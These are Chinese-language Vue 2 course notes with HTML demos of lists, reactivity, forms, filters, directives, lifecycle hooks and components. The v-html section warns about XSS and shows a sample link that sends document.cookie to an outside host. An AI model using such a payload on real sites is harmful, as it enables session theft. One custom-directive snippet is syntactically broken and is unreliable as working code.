    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <!-- 遍历数组 -->
      <h2>人员列表(遍历数组)</h2>
      <button @click.once="add">添加一个老刘</button>
      <ul>
        <li v-for="(p,index) of persons" :key="index">
          {{p.name}}-{{p.age}}
          <input type="text">
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        persons: [
          { id: '001', name: '张三', age: 18 },
          { id: '002', name: '李四', age: 19 },
          { id: '003', name: '王五', age: 20 }
        ]
      },
      methods: {
        add() {
          const p = { id: '004', name: '老刘', age: 40 }
          this.persons.unshift(p)
        }
      },
    })
  </script>

</html>

列表过滤
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>列表过滤</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord">
      <ul>
        <li v-for="(p,index) of filPersons" :key="index">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    //用watch实现
    //#region 
    /* new Vue({
            el:'#root',
            data:{
                keyWord:'',
                persons:[
                    {id:'001',name:'马冬梅',age:19,sex:'女'},
                    {id:'002',name:'周冬雨',age:20,sex:'女'},
                    {id:'003',name:'周杰伦',age:21,sex:'男'},
                    {id:'004',name:'温兆伦',age:22,sex:'男'}
                ],
                filPersons:[]
            },
            watch:{
                keyWord:{
                    immediate:true,
                    handler(val){
                        this.filPersons = this.persons.filter((p)=>{
                            return p.name.indexOf(val) !== -1
                        })
                    }
                }
            }
        }) */
    //#endregion

    //用computed实现
    new Vue({
      el: '#root',
      data: {
        keyWord: '',
        persons: [
          { id: '001', name: '马冬梅', age: 19, sex: '女' },
          { id: '002', name: '周冬雨', age: 20, sex: '女' },
          { id: '003', name: '周杰伦', age: 21, sex: '男' },
          { id: '004', name: '温兆伦', age: 22, sex: '男' }
        ]
      },
      computed: {
        filPersons() {
          return this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1
          })
        }
      }
    }) 
  </script>

</html>

列表排序
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>列表排序</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord">
      <button @click="sortType = 2">年龄升序</button>
      <button @click="sortType = 1">年龄降序</button>
      <button @click="sortType = 0">原顺序</button>
      <ul>
        <li v-for="(p,index) of filPersons" :key="p.id">
          {{p.name}}-{{p.age}}-{{p.sex}}
          <input type="text">
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        keyWord: '',
        sortType: 0, //0原顺序 1降序 2升序
        persons: [
          { id: '001', name: '马冬梅', age: 30, sex: '女' },
          { id: '002', name: '周冬雨', age: 31, sex: '女' },
          { id: '003', name: '周杰伦', age: 18, sex: '男' },
          { id: '004', name: '温兆伦', age: 19, sex: '男' }
        ]
      },
      computed: {
        filPersons() {
          const arr = this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1
          })
          //判断一下是否需要排序
          if (this.sortType) {
            arr.sort((p1, p2) => {
              return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age
            })
          }
          return arr
        }
      }
    })
  </script>

</html>

Vue数据监视
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>更新时的一个问题</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>人员列表</h2>
      <button @click="updateMei">更新马冬梅的信息</button>
      <ul>
        <li v-for="(p,index) of persons" :key="p.id">
          {{p.name}}-{{p.age}}-{{p.sex}}
        </li>
      </ul>
    </div>

    <script type="text/javascript">
      const vm = new Vue({
        el: '#root',
        data: {
          persons: [
            { id: '001', name: '马冬梅', age: 30, sex: '女' },
            { id: '002', name: '周冬雨', age: 31, sex: '女' },
            { id: '003', name: '周杰伦', age: 18, sex: '男' },
            { id: '004', name: '温兆伦', age: 19, sex: '男' }
          ]
        },
        methods: {
          updateMei() {
            // this.persons[0].name = '马老师' //奏效
            // this.persons[0].age = 50 //奏效
            // this.persons[0].sex = '男' //奏效
            // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
            this.persons.splice(0, 1, { id: '001', name: '马老师', age: 50, sex: '男' })
          }
        }
      })
    </script>

</html>
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>Vue监测数据改变的原理-对象</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>学校名称:{{name}}</h2>
      <h2>学校地址:{{address}}</h2>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        address: '北京',
        student: {
          name: 'tom',
          age: {
            rAge: 40,
            sAge: 29,
          },
          friends: [
            { name: 'jerry', age: 35 }
          ]
        }
      }
    })
  </script>

</html>
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>模拟一个数据监测</title>
  </head>

  <body>
    <script type="text/javascript">
      let data = {
        name: '尚硅谷',
        address: '北京',
      }

      //创建一个监视的实例对象,用于监视data中属性的变化
      const obs = new Observer(data)
      console.log(obs)

      //准备一个vm实例对象
      let vm = {}
      vm._data = data = obs

      function Observer(obj) {
        //汇总对象中所有的属性形成一个数组
        const keys = Object.keys(obj)
        //遍历
        keys.forEach((k) => {
          Object.defineProperty(this, k, {
            get() {
              return obj[k]
            },
            set(val) {
              console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
              obj[k] = val
            }
          })
        })
      }
    </script>
  </body>

</html>
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>Vue.set的使用</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h1>学校信息</h1>
      <h2>学校名称:{{school.name}}</h2>
      <h2>学校地址:{{school.address}}</h2>
      <h2>校长是:{{school.leader}}</h2>
      <hr />
      <h1>学生信息</h1>
      <button @click="addSex">添加一个性别属性,默认值是男</button>
      <h2>姓名:{{student.name}}</h2>
      <h2 v-if="student.sex">性别:{{student.sex}}</h2>
      <h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        school: {
          name: '尚硅谷',
          address: '北京',
        },
        student: {
          name: 'tom',
          age: {
            rAge: 40,
            sAge: 29,
          },
          friends: [
            { name: 'jerry', age: 35 },
            { name: 'tony', age: 36 }
          ]
        }
      },
      methods: {
        addSex() {
          // Vue.set(this.student,'sex','男')
          this.$set(this.student, 'sex', '男')
        }
      }
    })
  </script>

</html>
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>Vue监测数据改变的原理_数组</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h1>学校信息</h1>
      <h2>学校名称:{{school.name}}</h2>
      <h2>学校地址:{{school.address}}</h2>
      <h2>校长是:{{school.leader}}</h2>
      <hr />
      <h1>学生信息</h1>
      <button @click="addSex">添加一个性别属性,默认值是男</button>
      <h2>姓名:{{student.name}}</h2>
      <h2 v-if="student.sex">性别:{{student.sex}}</h2>
      <h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
      <h2>爱好</h2>
      <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
          {{h}}
        </li>
      </ul>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        school: {
          name: '尚硅谷',
          address: '北京',
        },
        student: {
          name: 'tom',
          age: {
            rAge: 40,
            sAge: 29,
          },
          hobby: ['抽烟', '喝酒', '烫头'],
          friends: [
            { name: 'jerry', age: 35 },
            { name: 'tony', age: 36 }
          ]
        }
      },
      methods: {
        addSex() {
          // Vue.set(this.student,'sex','男')
          this.$set(this.student, 'sex', '男')
        }
      }
    })
  </script>

</html>

Vue监视数据的原理:

  1. vue会监视data中所有层次的数据
  2. 如何监测对象中的数据?

通过setter实现监视,且要在new Vue时就传入要监测的数据

  1. 对象创建后追加的属性,Vue默认不做响应式处理
  2. 如需给后添加的属性做响应式,请使用如下API
  • Vue.set(target, propertyName/index, value)
  • vm.$set(target, propertyName/index, value)
  1. 如何监测数组中的数据?

通过包裹数组更新元素的方法实现,本质就是做了两件事

  1. 调用原生对应的方法对数组进行更新
  2. 重新解析模板,进而更新页面
  3. 在Vue修改数组中的某个元素一定要用如下方法
    1. 使用这些API:push()``pop()``shift()``unshift()``splice()``sort()``reverse()
    2. Vue.set() 或 vm.$set()

特别注意:Vue.set() 和 vm.$set() 不能给 vm 或 vm的根数据对象(vm.data) 添加属性

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>总结数据监视</title>
    <style>
      button {
        margin-top: 10px;
      }
    </style>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h1>学生信息</h1>
      <button @click="student.age++">年龄+1岁</button> <br />
      <button @click="addSex">添加性别属性,默认值:男</button> <br />
      <button @click="student.sex = '未知' ">修改性别</button> <br />
      <button @click="addFriend">在列表首位添加一个朋友</button> <br />
      <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br />
      <button @click="addHobby">添加一个爱好</button> <br />
      <button @click="updateHobby">修改第一个爱好为:开车</button> <br />
      <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
      <h3>姓名:{{student.name}}</h3>
      <h3>年龄:{{student.age}}</h3>
      <h3 v-if="student.sex">性别:{{student.sex}}</h3>
      <h3>爱好:</h3>
      <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
          {{h}}
        </li>
      </ul>
      <h3>朋友们:</h3>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        student: {
          name: 'tom',
          age: 18,
          hobby: ['抽烟', '喝酒', '烫头'],
          friends: [
            { name: 'jerry', age: 35 },
            { name: 'tony', age: 36 }
          ]
        }
      },
      methods: {
        addSex() {
          // Vue.set(this.student,'sex','男')
          this.$set(this.student, 'sex', '男')
        },
        addFriend() {
          this.student.friends.unshift({ name: 'jack', age: 70 })
        },
        updateFirstFriendName() {
          this.student.friends[0].name = '张三'
        },
        addHobby() {
          this.student.hobby.push('学习')
        },
        updateHobby() {
          // this.student.hobby.splice(0,1,'开车')
          // Vue.set(this.student.hobby,0,'开车')
          this.$set(this.student.hobby, 0, '开车')
        },
        removeSmoke() {
          this.student.hobby = this.student.hobby.filter((h) => {
            return h !== '抽烟'
          })
        }
      }
    })
  </script>

</html>

收集表单数据

收集表单数据:

  • 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值
  • 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值
  • 若:<input type="checkbox"/>
    1. 没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    2. 配置input的value属性:
    1. v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
    2. v-model的初始值是数组,那么收集的的就是value组成的数组

v-model的三个修饰符:

  1. lazy:失去焦点再收集数据
  2. number:输入字符串转为有效的数字
  3. trim:输入首尾空格过滤
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>收集表单数据</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <form @submit.prevent="demo">
        账号:<input type="text" v-model.trim="userInfo.account"> <br /><br />
        密码:<input type="password" v-model="userInfo.password"> <br /><br />
        年龄:<input type="number" v-model.number="userInfo.age"> <br /><br />
        性别:
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br /><br />
        爱好:
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
        <br /><br />
        所属校区
        <select v-model="userInfo.city">
          <option value="">请选择校区</option>
          <option value="beijing">北京</option>
          <option value="shanghai">上海</option>
          <option value="shenzhen">深圳</option>
          <option value="wuhan">武汉</option>
        </select>
        <br /><br />
        其他信息:
        <textarea v-model.lazy="userInfo.other"></textarea> <br /><br />
        <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
        <button>提交</button>
      </form>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        userInfo: {
          account: '',
          password: '',
          age: 18,
          sex: 'female',
          hobby: [],
          city: 'beijing',
          other: '',
          agree: ''
        }
      },
      methods: {
        demo() {
          console.log(JSON.stringify(this.userInfo))
        }
      }
    })
  </script>

</html>

过滤器

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
语法:

  • 注册过滤器:Vue.filter(name,callback)new Vue{filters:{}}
  • 使用过滤器:{{xxx | 过滤器名}}v-bind:属性 = "xxx | 过滤器名"

注意:

  • 过滤器也可以接收额外参数、多个过滤器也可以串联
  • 并没有改变原本的数据, 是产生新的对应的数据
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>过滤器</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/dayjs.min.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>显示格式化后的时间</h2>
      <!-- 计算属性实现 -->
      <h3>现在是:{{fmtTime}}</h3>
      <!-- methods实现 -->
      <h3>现在是:{{getFmtTime()}}</h3>
      <!-- 过滤器实现 -->
      <h3>现在是:{{time | timeFormater}}</h3>
      <!-- 过滤器实现(传参) -->
      <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
      <h3 :x="msg | mySlice">尚硅谷</h3>
    </div>
    
    <div id="root2">
      <h2>{{msg | mySlice}}</h2>
    </div>
  </body>

  <script type="text/javascript">
    //全局过滤器
    Vue.filter('mySlice', function (value) {
      return value.slice(0, 4)
    })

    new Vue({
      el: '#root',
      data: {
        time: 1621561377603, //时间戳
        msg: '你好,尚硅谷'
      },
      computed: {
        fmtTime() {
          return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      methods: {
        getFmtTime() {
          return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
        }
      },
      //局部过滤器
      filters: {
        timeFormater(value, str = 'YYYY年MM月DD日 HH:mm:ss') {
          // console.log('@',value)
          return dayjs(value).format(str)
        }
      }
    })

    new Vue({
      el: '#root2',
      data: {
        msg: 'hello,atguigu!'
      }
    })
  </script>

</html>

内置指令

学过的指令:
v-bind:单向绑定解析表达式, 可简写为:
v-model:双向数据绑定
v-for: 遍历数组/对象/字符串
v-on: 绑定事件监听, 可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染 (动态控制节点是否展示)

v-text指令
  • 作用:向其所在的节点中渲染文本内容。
  • 与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会。
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-text指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-text="name"></div>
        <div v-text="str"></div>
    </div>
</body>

<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            str: '<h3>你好啊!</h3>'
        }
    })
</script>

</html>

v-html指令
  • 作用:向指定节点中渲染包含html结构的内容
  • 与插值语法的区别:
    • v-html会替换掉节点中所有的内容,{{xxx}}则不会
    • v-html可以识别html结构
  • 严重注意:v-html有安全性问题!!!
    • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
    • 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>v-html指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <div>你好,{{name}}</div>
      <div v-html="str"></div>
      <div v-html="str2"></div>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        str: '<h3>你好啊!</h3>',
        str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
      }
    })
  </script>

</html>

v-cloak指令(没有值)
  • 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
  • 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>v-cloak指令</title>
    <style>
      [v-cloak] {
        display: none;
      }
    </style>
  </head>

  <body>
    <div id="root">
      <h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
  </body>

  <script type="text/javascript">
    console.log(1)
    new Vue({
      el: '#root',
      data: {
        name: '尚硅谷'
      }
    })
  </script>

</html>

v-once指令
  • v-once所在节点在初次动态渲染后,就视为静态内容了
  • 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-once指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            n: 1
        }
    })
</script>

</html>

v-pre指令
  • 跳过v-pre所在节点的编译过程
  • 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>v-pre指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>

<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            n: 1
        }
    })
</script>

</html>

自定义指令

  • 定义语法:

    • 局部指令:new Vue({ directives:{ 指令名:配置对象 } })

    new Vue({ directives:{ 指令名:回调函数 } })

    • 全局变量:Vue.directive(指令名,配置对象)

    Vue.directive(指令名,回调函数)

  • 配置对象中常用的3个回调函数:

    • bind(element,binding){}:指令与元素成功绑定时调用
    • inserted(element,binding){}:指令所在元素被插入页面时调用
    • update(element,binding){}:指令所在模板结构被重新解析时调用
    • element是自定义指令所在的DOM元素,binding是绑定的对象
  • 注意:

    • 指令定义时不加v-,但使用时要加v-
    • 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>自定义指令</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <!-- 
    需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
    需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
    -->
    <div id="root">
      <h2>{{name}}</h2>
      <h2>当前的n值是:<span v-text="n"></span> </h2>
      <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
      <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
      <button @click="n++">点我n+1</button>
      <hr />
      <input type="text" v-fbind:value="n">
    </div>
  </body>

  <script type="text/javascript">
    //定义全局指令-对象
    Vue.directive('fbind',{
      bind(element,binding){
        element.value = binding.value
      },
      inserted(element,binding){
        element.focus()
      },
      update(element,binding){
        element.value = binding.value
      }
    }) 
    //定义全局指令-函数
    Vue.directive('big',(element,binding){
      element.innerText = binding.value * 10
    }) 

    new Vue({
      el: '#root',
      data: {
        name: '尚硅谷',
        n: 1
      },
      directives: {
        //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
        'big-number'(element,binding){
          // console.log('big')
          element.innerText = binding.value * 10
        }, 
        big(element, binding) {
          console.log('big', this) //注意此处的this是window
          // console.log('big')
          element.innerText = binding.value * 10
        },
        fbind: {
          //指令与元素成功绑定时(一上来)
          bind(element, binding) {
            element.value = binding.value
          },
          //指令所在元素被插入页面时
          inserted(element, binding) {
            element.focus()
          },
          //指令所在的模板被重新解析时
          update(element, binding) {
            element.value = binding.value
          }
        }
      }
    })
  </script>

</html>
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>Document</title>
    <style>
      .demo {
        background-color: orange;
      }
    </style>
  </head>

  <body>
    <button id="btn">点我创建一个输入框</button>
    //在进行DOM操作时对一些方法的顺序有要求,如果顺序不对会导致bug出现
    <script type="text/javascript">
      const btn = document.getElementById('btn')
      btn.onclick = () => {
        const input = document.createElement('input')
        input.className = 'demo'
        input.value = 99
        input.onclick = () => { alert(1) }
        
        document.body.appendChild(input)
        
        input.focus()
        input.parentElement.style.backgroundColor = 'skyblue'
        console.log(input.parentElement)
      }
    </script>
  </body>

</html>

Vue生命周期

引出生命周期

生命周期:

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子
  2. 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
  4. 生命周期函数中的this指向是 vm 或 组件实例对象
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>引出生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2 v-if="a">你好啊</h2>
      <h2 :style="{opacity}">欢迎学习Vue</h2>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        a: false,
        opacity: 1
      },
      methods: {
      },
      //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
      mounted() {
        console.log('mounted', this)
        setInterval(() => {
          this.opacity -= 0.01
          if (this.opacity <= 0) this.opacity = 1
        }, 16)
      },
    })
    //通过外部的定时器实现(不推荐)
    /* setInterval(() => {
        vm.opacity -= 0.01
        if(vm.opacity <= 0) vm.opacity = 1
    },16) */
  </script>

</html>

分析生命周期

生命周期.png

<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>分析生命周期</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root" :x="n">
      <h2 v-text="n"></h2>
      <h2>当前的n值是:{{n}}</h2>
      <button @click="add">点我n+1</button>
      <button @click="bye">点我销毁vm</button>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      // template:`
      //  <div>
      //      <h2>当前的n值是:{{n}}</h2>
      //      <button @click="add">点我n+1</button>
      //  </div>
      // `,
      data: {
        n: 1
      },
      methods: {
        add() {
          console.log('add')
          this.n++
        },
        bye() {
          console.log('bye')
          this.$destroy()
        }
      },
      watch: {
        n() {
          console.log('n变了')
        }
      },
      beforeCreate() {
        console.log('beforeCreate')
      },
      created() {
        console.log('created')
      },
      beforeMount() {
        console.log('beforeMount')
      },
      mounted() {
        console.log('mounted')
      },
      beforeUpdate() {
        console.log('beforeUpdate')
      },
      updated() {
        console.log('updated')
      },
      beforeDestroy() {
        console.log('beforeDestroy')
      },
      destroyed() {
        console.log('destroyed')
      },
    })
  </script>

</html>

总结生命周期

常用的生命周期钩子:

  1. mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作
  2. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作

关于销毁Vue实例:

  1. 销毁后借助Vue开发者工具看不到任何信息
  2. 销毁后自定义事件会失效,但原生DOM事件依然有效
  3. 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了

生命周期流程:

  1. new Vue()
  2. 初始化:生命周期、事件,但是数据代理还没开始
  3. beforeCreate(无法通过vm访问data中的数据、method中的方法)
  4. 初始化:数据监测、数据代理
  5. created(可以通过vm访问data中的数据、method中的方法)
  6. Vue开始解析模板,在内存中生成虚拟DOM,页面还不能显示解析好的内容
  7. beforeMount(页面呈现未经Vue编译的DOM结构,此时对DOM的操作最终都不奏效)
  8. 将内存中的虚拟DOM转为真实DOM插入页面
  9. mounted(页面呈现经过Vue编译的DOM结构,完成初始化操作,此时对DOM的操作均奏效)
  10. vm中的数据发生更新
  11. beforeUpdate(此时数据是新的,但是页面还是旧的,即页面尚未和数据保持同步)
  12. 根据新数据,生成新的虚拟DOM并与旧的虚拟DOM进行比较,最终完成页面更新
  13. updated(此时数据是新的,页面也是新的,即页面和数据保持同步)
  14. 对vm进行销毁
  15. beforeDestroy(此时vm中data、methods、指令等还处于可用状态,马上要执行销毁过程)
  16. 移除vm与所有监视、子组件和事件监听器(自定义事件)的联系
  17. destroyed(vm销毁完毕)
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>生命周期总结</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2 :style="{opacity}">欢迎学习Vue</h2>
      <button @click="opacity = 1">透明度设置为1</button>
      <button @click="stop">点我停止变换</button>
    </div>
  </body>

  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        opacity: 1
      },
      methods: {
        stop() {
          this.$destroy()
        }
      },
      //Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
      //给定时器命名为this.timer就可以在其他区域用this.timer进行调用停止
      mounted() {
        console.log('mounted', this)
        this.timer = setInterval(() => {
          console.log('setInterval')
          this.opacity -= 0.01
          if (this.opacity <= 0) this.opacity = 1
        }, 16)
      },
      beforeDestroy() {
        clearInterval(this.timer)
        console.log('vm即将驾鹤西游了')
      },
    })
  </script>

</html>

模块与组件、模块化与组件化



模块

  • 理解:向外提供特定功能的js程序,一般就是一个js文件
  • 为什么:js文件很多很复杂
  • 作用:复用、简化js的编写,提高js运行效率

组件

  • 定义:用来实现局部功能的代码和资源的集合(html/css/js/mp3/mp4)
  • 为什么:一个界面的功能很复杂
  • 作用:复用编码,简化项目编码,提高运行效率

模块化

  • 当应用中的js都是以模块来编写的,那这个应用就是一个模块化的应用

组件化

  • 当应用中的功能都是以多组件的方式来编写的,那这个应用就是一个组件化的应用

非单文件组件

非单文件组件:一个文件中包含有n个组件
单文件组件:一个文件中只包含有1个组件

基本使用

Vue中使用组件的三大步骤:
一、定义组件(创建组件)

  • 使用Vue.extend(options)创建,其中optionsnew Vue(options)时传入的options几乎一样,但也有点区别如下:
    • el 不要写,因为最终所有的组件都要经过一个vm的管理,由 vm 中的 el 决定服务哪个容器
    • data 必须写成函数,避免组件被复用时,数据存在引用关系
  • 注意:使用template可以配置组件结构

二、注册组件

  • 局部注册:靠new Vue的时候传入components选项
  • 全局注册:靠Vue.component('组件名', 组件)

三、使用组件(写组件标签)

  • 编写组件标签<组件名></组件名>,例如<school></school>
<!DOCTYPE html>
<html>

  <head>
    <meta charset="UTF-8" />
    <title>基本使用</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <hello></hello>
      <hr><!--  -->
      <h1>{{msg}}</h1>
      <hr>
      <!-- 第三步:编写组件标签 -->
      <school></school>
      <hr>
      <!-- 第三步:编写组件标签 -->
      <student></student>
    </div>

    <div id="root2">
      <hello></hello>
    </div>
  </body>

  <script type="text/javascript">
    //第一步:创建school组件
    const school = Vue.extend({
      template: `
        <div class="demo">
            <h2>学校名称:{{schoolName}}</h2>
            <h2>学校地址:{{address}}</h2>
            <button @click="showName">点我提示学校名</button>  
        </div>
            `,
      // el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
      data() {
        return {
          schoolName: '尚硅谷',
          address: '北京昌平'
        }
      },
      methods: {
        showName() {
          alert(this.schoolName)
        }
      },
    })

    //第一步:创建student组件
    const student = Vue.extend({
      template: `
                <div>
                    <h2>学生姓名:{{studentName}}</h2>
                    <h2>学生年龄:{{age}}</h2>
                </div>
            `,
      data() {
        return {
          studentName: '张三',
          age: 18
        }
      }
    })

    //第一步:创建hello组件
    const hello = Vue.extend({
      template: `
                <div>   
                    <h2>你好啊!{{name}}</h2>
                </div>
            `,
      data() {
        return {
          name: 'Tom'
        }
      }
    })

    //第二步:全局注册组件
    Vue.component('hello', hello)

    //创建vm
    new Vue({
      el: '#root',
      data: {
        msg: '你好啊!'
      },
      //第二步:注册组件(局部注册)
      components: {
        school,
        student
      }
    })

    new Vue({
      el: '#root2',
    })
  </script>

</html>

组件注意事项

关于组件名:

  • 一个单词组成:
    • 第一种写法(首字母小写):school
    • 第二种写法(首字母大写):School
  • 多个单词组成:
    • 第一种写法(kebab-case命名):my-school
    • 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
  • 注意:
    • 组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
    • 可以使用name配置项指定组件在开发者工具中呈现的名字

关于组件标签:

  • 第一种写法:
  • 第二种写法:
  • 注意:不使用脚手架时,会导致后续组件不能渲染

